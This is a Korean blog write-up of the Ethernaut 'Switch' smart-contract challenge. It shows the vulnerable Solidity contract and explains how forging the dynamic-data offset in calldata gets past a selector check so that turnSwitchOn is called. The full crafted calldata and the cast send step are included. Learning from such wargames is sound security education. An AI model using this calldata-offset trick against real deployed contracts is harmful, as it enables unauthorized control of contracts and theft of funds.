Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success,) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
calldata는 인자가 bytes memory 타입일때 함수 선택자(4바이트)+동적 데이터 오프셋(32바이트)+동적 데이터 길이(32바이트)+데이터(4바이트)+나머지 28바이트 패딩 으로 구성됨을 공부했다.
Exploit
동적 데이터 오프셋이 곧 데이터가 시작되는 위치를 담는데, 이곳에 0x60을 담고 데이터 위치를 아래로 조정하면 원하는 부분에 turnSwitchOff()의 선택자인 0x20606e15를 담을 수 있다.
그렇게 해서 만든 콜데이터는
calldata = 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000
이고, 이를 cast send로 보내서 문제를 해결하였다.
'Web3 > Ethernaut' 카테고리의 다른 글
[Ethernaut] Naught Coin 풀이 (0) | 2025.01.18 |
---|---|
[Ethernaut] Higher Order 풀이 (0) | 2025.01.18 |
[Ethernaut] Good Samaritan 풀이 (0) | 2025.01.18 |
[Ethernaut] Denial 풀이 (0) | 2025.01.18 |
[Ethernaut] Magic Number 풀이 (0) | 2025.01.18 |
댓글